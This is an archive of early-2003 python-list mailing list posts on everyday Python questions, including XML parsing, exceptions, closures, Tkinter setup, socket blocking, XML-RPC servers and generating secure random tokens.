  Join adjacent text nodes so that all stretches of text are stored as single Text instances. This simplifies processing text from a DOM tree for many applications. New in version 2.1. 
A DOM Document inherits from a Node so...

HTH

--Gilles

<hawkeye.parker at autodesk.com> a ?crit dans le message de news: mailman.1042760131.22057.python-list at python.org...
  i'm running into an odd issue parsing large xml files.  it appears that minidom is arbitrarily splitting some TEXT_NODEs into pieces.  for example, the file in question contains a number of these tags:

  <C:Footer>This space provided for legal clarification of contract issues as defined by the project participants prior to project initiation. The content herein is determined withing the General Tab of the Log Properties dialogue box</C:Footer>

  the parser correctly parses the C:Footer tag into a dom element, but for some reason *periodically* splits the child node into *two* text nodes.  i can find no ryhme or reason to the splitting, though it is consistent for a given file; i.e., it always splits the same nodes in the same place.

  has anyone else run across this issue?  can you explain it?
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/python-list/attachments/20030117/3803cc4c/attachment.html>

From mwh at python.net  Wed Jan 29 07:27:30 2003
From: mwh at python.net (Michael Hudson)
Date: Wed, 29 Jan 2003 12:27:30 GMT
Subject: Which exception to use?
References: <b16lui$j3s$1@bob.news.rcn.net> <mailman.1043786834.24179.python-list@python.org>
Message-ID: <7h3y954ywdw.fsf@pc150.maths.bris.ac.uk>

Chad Netzer <cnetzer at mail.arc.nasa.gov> writes:

> I do things like this for some library functions that I create (I 
> welcome discussion about whether it is a good approach)
> 
> class ArgumentError( Exception ):
>     pass

This *is* a good approach (IMHO), but you should consider deriving
your exceptions from StandardError instead (I rarely remember to do
this, either).

Cheers,
M.

-- 
 All parts should go together without forcing. You must remember that
 the parts you are  reassembling were disassembled by you.  Therefore,
 if you can't get them together again, there must be a reason. By all
 means, do not use a hammer.           -- IBM maintenance manual, 1925



From max at alcyone.com  Thu Jan 30 22:02:26 2003
From: max at alcyone.com (Erik Max Francis)
Date: Thu, 30 Jan 2003 19:02:26 -0800
Subject: spambayes rocks
References: <rulk2v0346as3faklg246o9ct42n359t2u@4ax.com> <87fzre2xth.fsf@zamazal.org> <R8wZ9.31972$Vh.21432@news2.central.cox.net> <87n0lkju8o.fsf@zamazal.org> <mailman.1043865576.2481.python-list@python.org> <b19adh$33a0$1@nntp6.u.washington.edu> <mailman.1043872350.29360.python-list@python.org> <slrn.pl.b3gfvm.go.jzgoda@kotek.home> <6VCdnQ7z-uD5zaSjXTWcqw@comcast.com> <b1bnl2$181k$1@nntp6.u.washington.edu>
Message-ID: <3E39E742.2B635669@alcyone.com>

Donn Cave wrote:

> Then you and your family urgently need to bring this problem to the
> Korean authorities.  Until they take responsibility for the problem,
> you will be hostages to one side or the other in an anarchic struggle
> between ISPs and spammers.

Yeah.  I'm sure the South Korean authorities will give that really high
priority.

-- 
 Erik Max Francis / max at alcyone.com / http://www.alcyone.com/max/
 __ San Jose, CA, USA / 37 20 N 121 53 W / &tSftDotIotE
/  \ The only way to get rid of a temptation is to yield to it.
\__/ Oscar Wilde
    Bosskey.net: Quake III Arena / http://www.bosskey.net/q3a/
 A personal guide to Quake III Arena.



From knightsofspamalot-factotum at gvdnet.dk  Sat Jan 11 21:59:31 2003
From: knightsofspamalot-factotum at gvdnet.dk (Martin Christensen)
Date: Sun, 12 Jan 2003 03:59:31 +0100
Subject: Elegant copy-by-value
References: <87n0m7urz4.fsf@gvdnet.dk> <3E20CA0F.E2C07F4E@engcorp.com>
Message-ID: <87k7hbul7w.fsf@gvdnet.dk>

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

>>>>> "Peter" == Peter Hansen <peter at engcorp.com> writes:

Peter> Martin Christensen wrote:
>> For a long time now I've been using copy() or deepcopy(), depending
>> on the circumstances, from the copy module. Is there no more simple
>> and elegant way of doing this?
[...]
Peter> Have you looked at copy.py?

Have you looked at the post you replied to? :-)

Peter> If you haven't, take a peek now and then come back and try the
Peter> question again. ;-)

That was quick, wasn't it?

Martin

- -- 
Homepage:       http://www.cs.auc.dk/~factotum/
GPG public key: http://www.cs.auc.dk/~factotum/gpgkey.txt
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.6 (GNU/Linux)
Comment: Using Mailcrypt+GnuPG <http://www.gnupg.org>

iEYEARECAAYFAj4g2hIACgkQYu1fMmOQldV24ACferBwNSKojmauGcz63HMqp9gA
QCsAn3aDt2Y3ItGxOfO6/ks6SznR1nS+
=9E02
-----END PGP SIGNATURE-----



From tmeka at gmx.net  Sun Jan  5 08:56:28 2003
From: tmeka at gmx.net (Tomek Meka)
Date: Sun, 5 Jan 2003 14:56:28 +0100
Subject: lambda semantics in for loop
References: <280e901b.0301050436.b4e501d@posting.google.com>
Message-ID: <av9dic$ebe$01$1@news.t-online.com>

Hi!
You could also write:
def f(i):
    def g(x):
        return i + x
    return g

and then:

l = []
for i in range(10):
     l.append(f(i))

Regards,
Tomek




From op73418 at mail.telepac.pt  Wed Jan 15 18:14:08 2003
From: op73418 at mail.telepac.pt (Gonçalo Rodrigues)
Date: Wed, 15 Jan 2003 23:14:08 +0000
Subject: buffer overflow
References: <splb2vkt2lqspqjea5566dldil2t5s3v7m@4ax.com> <m3u1gaax68.fsf@mira.informatik.hu-berlin.de>
Message-ID: <jiqb2v8n6phmctv829nlqo29t760fffacn@4ax.com>

On 15 Jan 2003 23:02:55 +0100, martin at v.loewis.de (Martin v. L?wis)
wrote:

>donoli <eat at joes.com> writes:
>
>> I have two machines, FreeBSD 4,2  and  W2K pro.  I'd like to test the
>> security on both of them against a buffer overflow.  If someone has
>> the code in python for a buffer overflow, please post it.
>> donoli.
>
>Python does not support buffer overflows, sorry.

I vote QOTW for this one.

>
>Regards,
>Martin

With my best regards,
G. Rodrigues



From LogiplexSoftware at earthlink.net  Tue Jan  7 19:57:28 2003
From: LogiplexSoftware at earthlink.net (Cliff Wells)
Date: 07 Jan 2003 16:57:28 -0800
Subject: These are discouraging stats to Perlistas & Pythonistas...
In-Reply-To: <3e1b2ac1@news.victoria.tc.ca>
References: <776e0325.0301070721.7405a312@posting.google.com>
	 <3e1b2ac1@news.victoria.tc.ca>
Message-ID: <1041987447.1370.1693.camel@software1.logiplex.internal>

On Tue, 2003-01-07 at 11:30, Malcolm Dew-Jones wrote:

> 
> Job listings also measure the *turnover* of employees, not just the number
> of jobs. 
> 
> Perhaps the perl programmers are happy, so the existing jobs don't lead to
> job listings.
> 
> Perhaps the perl programmers are efficient, so existing work doesn't lead
> to more jobs.

Also, jobs are created by managers, not requirements <wink>. 

I wonder what the stats are for jobs requiring a C programmer only to
have that 'C programmer' actually *do* the work in something else.

Just apply for any job you have a reasonable chance of doing (or
bluffing your way through) and then bend it to your will ;)


-- 
Cliff Wells, Software Engineer
Logiplex Corporation (www.logiplex.net)
(503) 978-6726 x308  (800) 735-0555 x308





From lazypointer at yahoo.com  Mon Jan 27 03:55:13 2003
From: lazypointer at yahoo.com (Byron Morgan)
Date: Mon, 27 Jan 2003 08:55:13 GMT
Subject: design advice sought
References: <4sLY9.17$K84.1793197@newssvr15.news.prodigy.com> <h37eg-im3.ln1@beastie.ix.netcom.com>
Message-ID: <Rt6Z9.825$_G4.81811512@newssvr14.news.prodigy.com>

Thanks for the input - I have added threading for the messaging, and it
seems to be working.



"Dennis Lee Bieber" <wlfraed at ix.netcom.com> wrote in message
news:h37eg-im3.ln1 at beastie.ix.netcom.com...
> Byron Morgan fed this fish to the penguins on Saturday 25 January 2003
> 10:43 pm:
>
> > does this much pretty well, running all day. Next, I will add
> > functions to send messages via various transports (e.g., pager,
> > cellular text, instant mesaging) based on conditions and trends
> > detected or analyzed.
> >
>         How often do you expect to send these messages? Seldom, hourly,
etc.
>
>         Also, how complex do you expect the transport interface to be? If
all
> three have similar interfaces, and you don't have much load, I can
> visualize a scheme using:
>
>         main logging process
>                                 messaging thread started at init
>
>         send parameters to messaging thread via Queue.Queue (tuple?
> (transport, content))
>                                 thread reads queue, branching on transport
type
>
>
>         If the transport logic is fairly similar for all, you might
consider a
> base class (containing message content variables and empty methods to
> implement the transport), then subclasses inheriting from the base with
> specific methods for that type of transport...
>
> {pseudocode}
> class Message():
>         def __init__(self, address, content):
>                 self.address = address
>                 self.content = content
>         def sendit(self):
>                 print "UNDEFINED TRANSPORT"
>
> class MessagePager(Message):
>         def __init__(self, address, content):
>                 # maybe add some checks to ensure a valid pager "address"
>                 Message.__init__(self, address, content)
>         def sendif(self):
>                 #whatever code is needed to access the pager system
>
> #repeat for other types.
>
> Then the main process only has to do something like
>
>         amess = Message***(address, content)
>         queue.put(amess)
>
> the thread only needs to loop
>
>         am = queue.get()
>         am.sendit()
>
>
>
> --
>  > ============================================================== <
>  >   wlfraed at ix.netcom.com  | Wulfraed  Dennis Lee Bieber  KD6MOG <
>  >      wulfraed at dm.net     |       Bestiaria Support Staff       <
>  > ============================================================== <
>  >        Bestiaria Home Page: http://www.beastie.dm.net/         <
>  >            Home Page: http://www.dm.net/~wulfraed/             <
>





From mis6 at pitt.edu  Mon Jan  6 16:28:32 2003
From: mis6 at pitt.edu (Michele Simionato)
Date: 6 Jan 2003 13:28:32 -0800
Subject: new years resolutions
References: <mailman.1041550805.3550.python-list@python.org> <mailman.1041641110.13072.python-list@python.org> <3E164F92.58798556@engcorp.com> <2292.3e16c91f.9dd65@basilisk> <1041705923.6001.32.camel@x1-6-00-04-5a-64-c4-03> <200301041905.h04J5njL016319@ratthing-b246.strakt.com> <1041709986.3565.90.camel@x1-6-00-04-5a-64-c4-03> <mailman.1041715268.3272.python-list@python.org> <2259b0e2.0301051011.5ba2ff3e@posting.google.com> <mailman.1041794830.7571.python-list@python.org>
Message-ID: <2259b0e2.0301061328.1567f93b@posting.google.com>

Laura Creighton <lac at strakt.com> wrote in message news:<mailman.1041794830.7571.python-list at python.org>...
> > Now, if I may ask a personal question, what you didn't like in science/academia ?
> 
> This is just off the top of my head....
> 
> 1. preoccupation with cleverness as opposed to wisdom
> 2. giving the job of 'preparing people for industry' to people who have
>    mostly never been there.
> 3. believing that teaching is something that comes naturally.  No effort
>    is made to train professors on how to teach well.  This is a trainable
>    skill.
> 4. in some places -- forcing people to teach so that you cannot simply do
>    research all the time if you hate teaching.  in other places, getting
>    rid of or valuing less the great teachers, because their research isn't
>    so hot.  Many places do both, of course.
> 5. Greedily embracing the notion that 'a university education is for
>    everyone' because it means more funding, reguardless of what it means
>    for would-be academics who now usually have to wait until they get
>    to grad school -- or now in some fields a postdoc before they can do 
>    anything truly original.  That is too long a wait.
> 6. Classroom teaching as opposed to Master/Apprentice type relationships.
> 7. Preoccupation with novelty, and originality, as opposed to soundness.
> 8. The complete disreguard of 'good workmanship' as the counterpart to
>    'sound design'.  These days people are likely to learn that the work
>    is good because it was 'designed well', as opposed to the fact that
>    one of many good designs was selected -- the result was good because
>    _the workmanship was good_.  (Good workmanship cannot save a really
>    rotten design, unfortunately.)
> 9. A life focused on Grading people.  Making grades, not knowledge or
>    wisdom the important centre of the universe.
> 10. (in some places) The notion that only the top 10% matter -- the
>     rest can all go hang.
> 11. The belief that business is somehow demeaning.
> 12. The belief that business is somehow superior. 
> 13. Too many fools.
> 14. Too swollen egos.
> 15. The furthering of the belief that Art is merely entertainment.
> 16. The furthering of the belief that it is a good idea to appear
>     better than you really are.
> 17. Too many people who feel they have the right to be contemptuous of others.
> 18. Too much paperwork.
> 19. Too much specialisation within a given field.
> 20. Not enough play.
> 21. Really boring textbooks written by people who cannot write.
> 22. An over-reliance on analytical as opposed to geometric methods.
> 23. Avoidance of risk.
> 24. Avoidance of beauty.
> 25. Focusing on that which can be measured (in itself a good thing, and
>     the secret of Western success) but not to the extent where that
>     which cannot be measured is deemed unimportant, or even non-existant.
> 26. Students who sit like turnips in your lectures.
> 

Wheee!

But where did you studied, Laura ? I would say I had a much better
experience
in Italy, and extrememly *good* teachers. I would certainly say they
gave me wisdom on top of cleverness ;-).

Best regards,
                                                       Michele



From benno at sesgroup.net  Tue Jan 14 05:42:20 2003
From: benno at sesgroup.net (Ben Leslie)
Date: Tue, 14 Jan 2003 21:42:20 +1100
Subject: Truth in dating (was: HELP! Must choose language!)
In-Reply-To: <jwbaxter-1F2F90.00032614012003@corp-radius.supernews.com>
Message-ID: <20030114214220.A2264@sesgroup.com.au>

On Tue, 14 Jan 2003, John Baxter wrote:

> In article <6rsfva.d74.ln at beastie.ix.netcom.com>,
>  Dennis Lee Bieber <wlfraed at ix.netcom.com> wrote:
> 
> > > have punctuation and block delimiters :-). ... and OO will be done
> > > right this time! Yay!
> > >
> >         As long as "bless" doesn't turn into "dam*" <G>
> 
> Kind of like my (remarkably good) boss in the late 1960s, who pretended 
> to want to replace the
>    goto
> with the
>    comefrom
> 
> The latter would be
>    comefrom  label
> where label was applied to the point of departure.  Various conditional 
> were certainly in the mix.
> 
> When one looked at the idea semi-seriously, there didn't seem to be any 
> showstoppers.  And one could see at a glance the names of every point 
> from which control might suddenly arrive at this code...something that's 
> harder with goto.
> 

And of course, to create a thread you can come from the same label twice,
and thus threaded intercal was born....

http://www.cse.unsw.edu.au/~malcolmr/intercal/threaded.html

Benno




From chrisk at nipltd.com  Tue Jan 14 15:29:38 2003
From: chrisk at nipltd.com (Chris Keyes)
Date: Tue, 14 Jan 2003 20:29:38 +0000
Subject: how I call the program in windows using python
References: <6e1513c6.0301141124.148bfef0@posting.google.com>
Message-ID: <3E247332.9060602@nipltd.com>

This may not be the best way to do this but I'd try os.system(command)

eg
 >>> import os
 >>> os.system("d:/windows/calc.exe")
0
 >>>
(I could not find the copy of calc installed under 2000, but I have a 98 
install on D, I've not gone completely mad, honest!)

Hope that helps

Chris

Maria Clara wrote:
> I like to run one program of windows for example ejemplo.bat using zope




From hupp at upl.cs.wisc.edu  Fri Jan 24 19:54:01 2003
From: hupp at upl.cs.wisc.edu (Adam Hupp)
Date: Sat, 25 Jan 2003 00:54:01 GMT
Subject: SimpleXMLRPCServer and forking
References: <Xns930BBA695861Dnmoasypcamimswebcom@165.112.130.8>
Message-ID: <pan.2003.01.25.00.53.26.830126@upl.cs.wisc.edu>

On Wed, 22 Jan 2003 23:19:29 +0000, Chuck May wrote:
> 
> Does anyone know the best way to handle that?  Should I use a fork() in
> the dump function?  I'm not sure how that will affect the XML-RPC server
> though.  I could call an external program and launch it as a background
> process, but I'd like to keep the code self-contained.
> 
> 2. Am I correct in saying that SimpleXMLRPCServer can only process a
> single request at a time?  It doesn't appear to be using the forking
> model.  If that is the case, does anyone know an easy way to create a
> forking version?  I could copy the source code and make some changes,
> but I was wondering if there was a way to subclass instead.

SimpleXMLRPCServer can do concurrent authenticated connections but you
have to do it all yourself.  I had the same problem a few months ago and
ended up with this:  http://www.upl.cs.wisc.edu/~hupp/beatq.tar.gz

It's not a finished product but it does do HTTP authentication, supports
multiple concurrent connections and provides a connection oriented
interface (vs. XMLRPC's normally connectionless interface).  I should note
that SOAP appears to be quite a bit more featureful, expecially WRT
authentication.

-Adam



From spam at fisher.forestry.uga.edu  Mon Jan 27 22:01:20 2003
From: spam at fisher.forestry.uga.edu (Chris Fonnesbeck)
Date: 27 Jan 2003 19:01:20 -0800
Subject: emacs python mode problem
Message-ID: <c3835e5f.0301271901.546be815@posting.google.com>

I've become a little frustrated with the python indenting in python
mode for emacs. I have tried setting the indent to 4 spaces both via
the configuration menu and by hand in my .emacs file:

'(setq-default py-indent-offset 4)

However, when editing python files, from time to time the indentation
falls back to 8 spaces. Anyone have an idea as to why this may be
happening?

TIA,
cjf



From hancock at anansispaceworks.com  Mon Jan 13 20:45:15 2003
From: hancock at anansispaceworks.com (Terry Hancock)
Date: Tue, 14 Jan 2003 01:45:15 GMT
Subject: [ann] Minimal Python project
References: <mailman.1042209749.31180.python-list@python.org> <FOIT9.121090$Hs2.11398609@kent.svc.tds.net> <mailman.1042257199.7572.python-list@python.org> <6e07b825.0301102359.1c03bfbc@posting.google.com>
Message-ID: <LYJU9.8845$Qr4.881533@newsread1.prod.itd.earthlink.net>

yaipa h. wrote:
> While I am gripped in fear at the thought of Python spinning into a
> series of downward spiraling dialects...
> The adventurer in me says, "Give'em hell boys... Damn the
> torpedoes..."

Well, a new implementation is not a new dialect. This is probably going to 
be no more different from C Python than Jython is. Both interpret Python 
code, which is pretty much what I require.  Of course, it will affect 
Python + C packages, in that they won't be portable to it in general.

Of course if they were to acheive their performance goals, it might become 
the main implementation.

Me, I'm just going to keep writing Python apps, and hope they're portable.  
Rewriting compilers is out of my league.  Brave Python rewriters, I salute 
you. ;-)

Cheers,
Terry

-- 
Anansi Spaceworks
http://www.anansispaceworks.com



From trevp at trevp.net  Tue Jan 28 15:37:21 2003
From: trevp at trevp.net (Trevor Perrin)
Date: 28 Jan 2003 12:37:21 -0800
Subject: Generating Unique Keys
References: <mailman.1043710965.5817.python-list@python.org> <7xy956jf5j.fsf@ruckus.brouhaha.com>
Message-ID: <47e891f1.0301281237.16079102@posting.google.com>

> 
> If you have a way of getting a unique integer (say an increasing
> sequence), a very simple way to turn it into an unguessable token is:
> 
>    import sha
> 
>    # make some secret string that's part of your server configuration
>    # do NOT reveal it to attackers ;-)
>    secret_prefix = "some fixed secret string--swordfish orangutan zorkmid"
> 
>    # and then to make a token
>    token = sha.new(secret_prefix + str(unique_integer)).hexdigest()

I think that's a little iffy - SHA1 has a "length extension" property,
where if you know h(m) for some message m that's a multiple of the
block length (64 bytes in this case) you can compute h(m+x) (i.e. m
with x appended).  So if one of your unique integers was a prefix of
another, and your secret_prefix was the right size, you'd be in
trouble.  It would be better to use hmac-sha1 with the secret_prefix
as the key.  And it would be better to generate the secret_prefix as a
good random number on system startup, not bake it into a
configuration.

As for getting a good random number on different platforms, Peter
Gutmann's cryptlib (http://www.cs.auckland.ac.nz/~pgut001/cryptlib/)
does an excellent job of this, it has systems-specific code for
windows, unix, mac, and others, and uses a randomness pool of his own
design (written up in
http://www.cs.auckland.ac.nz/~pgut001/pubs/usenix98.pdf) postprocessed
through an X9.17 generator for FIPS compliance.  I don't know what all
that means, but I think it's good :-).

Anyways, I've got a python wrapper for cryptlib (in alpha state) at
http://trevp.net.  Once I test it on some more systems, and maybe
implement some of the pythonic cipher interfaces, I'll announce it to
the list.

But as an example of using it to get a random key and then just
running AES in OFB mode to get a sequence of random 16-byte blocks:

>>> from cl32 import *   # load the shared library
>>> from array import *
>>> cryptInit()
>>> c = cryptCreateContext(CRYPT_UNUSED, CRYPT_ALGO_AES)
>>> c.CTXINFO_MODE = CRYPT_MODE_OFB
>>> cryptGenerateKey(c)
>>> a = array('b', '\0' * 16)
>>> cryptEncrypt(c, a) # get first value
>>> doSomethingWith(a)
>>> cryptEncrypt(c, a) @ get second value
>>> cryptEncrypt(c, a) @ get third value, etc..

Trevor



From rcellis at email.com  Sun Jan 12 21:58:58 2003
From: rcellis at email.com (R. C. Ellis)
Date: Mon, 13 Jan 2003 02:58:58 GMT
Subject: Can't get Tkinter to work...
References: <3E222751.5040909@email.com>
Message-ID: <3E222BC6.4090304@email.com>

R. C. Ellis wrote:
> I've set the PYTHONPATH environment variable to include the path to 
> lib-tk, I've set both TK_LIBRARY and TCL_LIBRARY to point to directories 
> containing the appropriat libraries, but I still get the following 
> message following the statement: from Tkinter import *
> 
> File "<stdin>", line 1, in ?
> File "/usr/local/lib/python2.2/lib-tk/Tkinter.py", line 35, in ?
>  import _tkinter # If this fails your Python may not be configured for tk
> 
> ImportError: No module named _tkinter
> 
> If I could find any further information on configuring Python for tk I 
> would gladly try it - but I've run out of sources, and I can't cook up a 
> usefull google search.
> 
> Help.
> 
> RC
> 

Hum.  Inspiration, or just a temporary IQ bump, and I found something on 
the python.org site - Tkinter Troubleshooting 
(www.python.org/topics/tkinter/trouble.html) - I may have seen this page 
before but it's headed up with "windows gottchas" and I don't do windows 
- this time however I scrolled down to the Linux section.  Haven't 
followed through with it yet, but in case this was going to be 
suggested, then I've already found it.

RC




From grey at despair.dmiyu.org  Fri Jan  3 01:39:55 2003
From: grey at despair.dmiyu.org (Steve Lamb)
Date: Fri, 03 Jan 2003 06:39:55 -0000
Subject: Best Python editor (under Linux)
References: <pan.2003.01.02.12.09.57.823588@contillion.com> <025d32cf-da98-4afa-ab9f-2f3f978a9c38@news.szn.dk> <6lea1vop870pak8iuohinerilg304sd493@4ax.com> <slrnb19vmq.h00.grey@teleute.dmiyu.org> <x7bs2y98or.fsf@guru.mired.org>
Message-ID: <slrnb1ac1r.j1t.grey@teleute.dmiyu.org>

On 02 Jan 2003 22:08:36 -0600, Mike Meyer <mwm at mired.org> wrote:
> No, it's clearly the former. You're just confused about what a program
> is. 

    No, I am not confused about what a program is.  However, I do not consider
overzealous scripts written for an editor to be programs in their own right.

> The python-mode for emacs is a python editor. Insisting that it isn't
> a valid answer to the request for a python editor because it requires
> an emacs runtime environment makes no more sense than discounting IDLE
> because it requires a Python runtime envirnoment.

    Oddly enough I don't consider IDLE an editor either.  Point stands, Emacs
is the very antithesis of the proper way to do things.  It is a monolithic,
bloated, musch-cram-every-feature-into-it piece of software.  26Mb for a
"editor" is not what I consider reasonable or keeping in the tradition of
small specialized programs that do one task well.

-- 
         Steve C. Lamb         | I'm your priest, I'm your shrink, I'm your
         ICQ: 5107343          | main connection to the switchboard of souls.
    To email: Don't despair!   |  -- Lenny Nero, Strange Days
-------------------------------+---------------------------------------------



From skodela at btinternet.com  Fri Jan  3 05:04:28 2003
From: skodela at btinternet.com (sree)
Date: Fri, 3 Jan 2003 10:04:28 +0000 (UTC)
Subject: Socket Blocking problem
Message-ID: <av3n7b$h8m$1@sparta.btinternet.com>

Hi guys

I am writing a small socket program in python. Here there are two progs. One
sits on system A and accepts connections, does something with the data that
came in. Othe sits on system B and sends commands to system A. Problem is I
want to be able to read if system A is busy or free from system B. Hence I
tried setblocking(0) but then it fails to start with error as below on
system A.

     Traceback (most recent call last):
     File "periph.py", line 39, in ?
     (con,addr)=s.accept()
     socket.error: (11, 'Resource temporarily unavailable')

Then I tried with no setblocking in system A and setblocking(0) on System B.
It connects but fails on command as below.

    master.py desk 2670
   ['master.py', 'desk', '2670']
   READ HELO
   Traceback (most recent call last):
   File "master.py", line 17, in ?
   s=conn()
   File "master.py", line 12, in conn
   s.connect((sys.argv[1],port))
   socket.error: (115, 'Operation now in progress')

If I don't use setblocking it works fine except when I want to send 'READ
HELO' to check if the system is available it waits until system is free.

What I want is to try 'READ HELO' and decide if system is free. If not do
something else.

code for System A is here :
usage : python system-a.py 2675 
#########################################################################
from socket import *
import os,string,sys
global res,status
res=0
status=0

port=int(sys.argv[1])
s=socket(AF_INET,SOCK_STREAM)
#s.setblocking(0)
s.bind((gethostname(),port))
s.listen(5)

def pex(cmd):
    global status
    f=os.system(cmd)
    if f==0:
        return "SUCC"
    else:
        return "FAIL"
    
def process(con,cmd):
    global res,status
    if cmd=="QUIT":
        con.close()
        raise SystemExit
    elif cmd=="HELO":
        con.send("HELO")
        return
    elif string.find(cmd,"EXEC")>=0:
        cmd=cmd[string.index(cmd,'EXEC')+len('EXEC')+1:]
        status='BUSY'
        res=pex(cmd)
        status='FREE'
        return
    elif cmd=="STAT":
        con.send(res+'-'+status)
        return
while 1:
    (con,addr)=s.accept()
    cmd=con.recv(1024)
    process(con,cmd)
    
###########################################################

code for system B is here
usage: python system-b.py 192.168.122.2 2675
-----------------------------------------------------------
from socket import *
import os,sys,string

global s
s=0
print sys.argv
port=int(sys.argv[2])

def conn():
    s=socket(AF_INET,SOCK_STREAM)
    s.setblocking(0)
    s.connect((sys.argv[1],port))
    return s

while 1:
    cmd=string.strip(raw_input())
    s=conn()
    if string.find(cmd,"EXEC")>=0:
        s.send(cmd)
    elif string.find(cmd,"READ")>=0:
        s.send(cmd[string.index(cmd,'READ')+len('READ')+1:])
        print s.recv(1024)
    else:
        s.send(cmd)
    s.close()
-----------------------------------------------------------

Any help would be greatly appreciated.

Cheerio
sreekant



From cnetzer at mail.arc.nasa.gov  Tue Jan 28 17:19:31 2003
From: cnetzer at mail.arc.nasa.gov (Chad Netzer)
Date: Tue, 28 Jan 2003 14:19:31 -0800
Subject: Which exception to use?
In-Reply-To: <3E36F151.40A0848B@engcorp.com>
References: <b16lui$j3s$1@bob.news.rcn.net> <mailman.1043786834.24179.python-list@python.org> <3E36F151.40A0848B@engcorp.com>
Message-ID: <200301282219.OAA15785@mail.arc.nasa.gov>

On Tuesday 28 January 2003 13:08, Peter Hansen wrote:
> Chad Netzer wrote:

> I'm pretty sure that even your approach is raising an instance, as
> the docs say "For class exceptions, this object must be an instance
> of the exception class being raised.".

I agree.  When raising a class, an instance is eventually created (by 
the interpreter).  I just meant that the user doesn't create it 
directly.  I haven't discerned which is more advantageous.  I guess it 
is (largely) a matter of personal style.

-- 
Bay Area Python Interest Group - http://www.baypiggies.net/

Chad Netzer
(any opinion expressed is my own and not NASA's or my employer's)




From lac at strakt.com  Thu Jan 23 18:33:20 2003
From: lac at strakt.com (Laura Creighton)
Date: Fri, 24 Jan 2003 00:33:20 +0100
Subject: Best SMTP/POP library? 
In-Reply-To: Message from "Robert Oschler" <robert@fake_email_address.net> 
   of "Thu, 23 Jan 2003 18:34:18 GMT." <KAWX9.529$0L3.274661@news2.news.adelphia.net> 
References: <FEyX9.1$0L3.488@news2.news.adelphia.net> <mailman.1043252741.1779.python-list@python.org> <LtEX9.134$0L3.63489@news2.news.adelphia.net> <mailman.1043290900.16874.python-list@python.org> <JhMX9.441$0L3.173271@news2.news.adelphia.net> <mailman.1043344317.16508.python-list@python.org> <KAWX9.529$0L3.274661@news2.news.adelphia.net> 
Message-ID: <200301232333.h0NNXKjL024186@ratthing-b246.strakt.com>

This is from: "Robert Oschler" <robert at fake_email_address.net
> 
> "Laura Creighton" <lac at strakt.com> wrote in message
> news:mailman.1043344317.16508.python-list at python.org...
> > >
> > So could I prevail on you to change your mail address to something that
> > is more obviously not worth sending a reply to?
> >
> 
> Good point. This is a test of new reply address.
> 
> thx
> 
> 
> 
> -- 
> http://mail.python.org/mailman/listinfo/python-list

Cheer!  Works Great!  Thank you very much.

Laura Creighton




From judoscript at hotmail.com  Tue Jan  7 22:53:09 2003
From: judoscript at hotmail.com (James Huang)
Date: 7 Jan 2003 19:53:09 -0800
Subject: Novel Thoughts on Scripting and Languages
References: <52719db8.0301062130.5299a0ff@posting.google.com> <dcuk1vgg1vel593evttuc99f9m5eq646i5@4ax.com> <52719db8.0301070508.22a5063d@posting.google.com> <BmWdnXYnQ4PBZ4ejXTWcpQ@comcast.com>
Message-ID: <52719db8.0301071953.60855694@posting.google.com>

> I would not have minded your self-serving promo so much if it had been
> honestly titled:
> 
> (OT) Judoscript, another Java scripting language
> 
> As it is, there is nothing novel about the thought "My baby is great".
> 
> TJR

There had been a posting with "[ANN] JudoScript ..." last year.
This time, the title is rather OT-ish but I do regret did not use "[OT]".
Thanks for pointing out.



From contact at sergiolobo.com  Mon Jan 13 05:34:19 2003
From: contact at sergiolobo.com (Sergio Lobo)
Date: Mon, 13 Jan 2003 11:34:19 +0100
Subject: HTTPS Server
Message-ID: <avu4qn$md3$1@newsreader1.netway.at>

 Hello,

I am looking for a way to change my simple HTTP Server into a HTTPS server.
My project is being developed using Jython.

Kind regards,
Sergio Lobo





From sross at connectmail.carleton.ca  Mon Jan 20 09:54:06 2003
From: sross at connectmail.carleton.ca (Sean Ross)
Date: Mon, 20 Jan 2003 09:54:06 -0500
Subject: Python Programming on Win32 
Message-ID: <44UW9.2018$5K5.112342@news20.bellglobal.com>

Hi.
Does anyone know when/if a new version of O'Reilly's "Python Programming on
Win32" will be published?
Thanks,
Sean





From mis6 at pitt.edu  Sun Jan 26 13:33:44 2003
From: mis6 at pitt.edu (Michele Simionato)
Date: 26 Jan 2003 10:33:44 -0800
Subject: help on autosuper
References: <mailman.1043499885.7817.python-list@python.org>
Message-ID: <2259b0e2.0301261033.135a6d9a@posting.google.com>

Michele Simionato <mis6+ at pitt.edu> wrote in message news:<mailman.1043499885.7817.python-list at python.org>...
> In his essay on type/class unification, Guido defines the following 
> 
> autosuper metaclass:
> 
> --- begin autosup.py ---
> 
> class autosuper(type): #Guido's metaclass
> 
>     def   init  (cls, name, bases, dic):
> 
> super(autosuper, cls).  init  (name, bases, dic)
> 
>     setattr(cls," %s  super" % name, super(cls))
> 
> class C(object): #a simple class
> 
>     metaclass  =autosuper
> 
> --- end autosup.py ---
> 
> Notice that I have put the metaclass in a module called autosup.
> 
> Everything works as expected; however, there is some incompatibility 
> 
> with pydoc:
> 
> >>> import autosup
>  
> >>> help(autosup)
> 
> Traceback (most recent call last):
> 
> File "<pyshell#1>", line 1, in ?
> 
> help(autosup)
> 
> File "C:\PYTHON22\lib\site.py", line 279, in   call  
> 
> return pydoc.help(*args, **kwds)
> 
> File "C:\PYTHON22\lib\pydoc.py", line 1510, in   call  
> 
> self.help(request)
> 
> File "C:\PYTHON22\lib\pydoc.py", line 1546, in help
> 
> else: doc(request, 'Help on %s:')
> 
> File "C:\PYTHON22\lib\pydoc.py", line 1341, in doc
> 
> pager(title % (desc + suffix) + '\n\n' + text.document(thing, name))
> 
> File "C:\PYTHON22\lib\pydoc.py", line 267, in document
> 
> if inspect.ismodule(object): return apply(self.docmodule, args)
> 
> File "C:\PYTHON22\lib\pydoc.py", line 961, in docmodule
> 
> contents.append(self.document(value, key, name))
> 
> File "C:\PYTHON22\lib\pydoc.py", line 268, in document
> 
> if inspect.isclass(object): return apply(self.docclass, args)
> 
> File "C:\PYTHON22\lib\pydoc.py", line 1093, in docclass
> 
> lambda t: t[1] == 'method')
> 
> File "C:\PYTHON22\lib\pydoc.py", line 1035, in spill
> 
> name, mod, object))
> 
> File "C:\PYTHON22\lib\pydoc.py", line 269, in document
> 
> if inspect.isroutine(object): return apply(self.docroutine, args)
> 
> File "C:\PYTHON22\lib\pydoc.py", line 1116, in docroutine
> 
> realname = object.  name  
> 
